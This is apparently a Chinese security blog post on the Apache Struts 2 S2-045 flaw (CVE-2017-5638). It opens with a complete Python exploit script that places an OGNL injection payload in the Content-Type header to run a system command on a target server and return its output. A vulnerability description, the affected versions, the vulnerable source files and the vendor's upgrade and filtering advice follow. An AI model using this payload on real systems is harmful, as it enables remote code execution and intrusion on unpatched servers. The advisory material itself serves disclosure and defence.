ST2-045 For POC

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本文链接地址: ST2-045 For POC

利用方法：

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers



def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()




poc()

漏洞说明：

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。

漏洞编号：

CVE-2017-5638

漏洞名称：

基于 Jakarta plugin插件的Struts远程代码执行漏洞

官方评级：

高危

漏洞描述：

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

漏洞利用条件和方式：

黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。

1. 基于Jakarta（Jakarta Multipart parser）插件的文件上传功能

2. 恶意攻击者精心构造Content-Type的值

通过版本比对定位漏洞原因：

1. \core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
2. core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
3. \core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java

if  (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  new Object[0]) == null) {
    return LocalizedTextUtil.findText(this.getClass(),  “struts.messages.error.uploading”, defaultLocale, null, new  Object[] { e.getMessage() });
 } else {
    return  LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null,  args);
}

漏洞影响范围：

• Struts 2.3.5 – Struts 2.3.31
• Struts 2.5 – Struts 2.5.10
• Created by Lukasz Lenart, last modified yesterday at 01:14 PM

Summary

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.[td]

Problem

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

Solution

If you are using Jakarta based file upload Multipart parser, upgrade to Apache Struts version 2.3.32 or 2.5.10.1. You can also switch to a different implementation of the Multipart parser.

Backward compatibility

No backward incompatibility issues are expected.

Workaround

Implement a Servlet filter which will validate Content-Type and throw away request with suspicious values not matching multipart/form-data.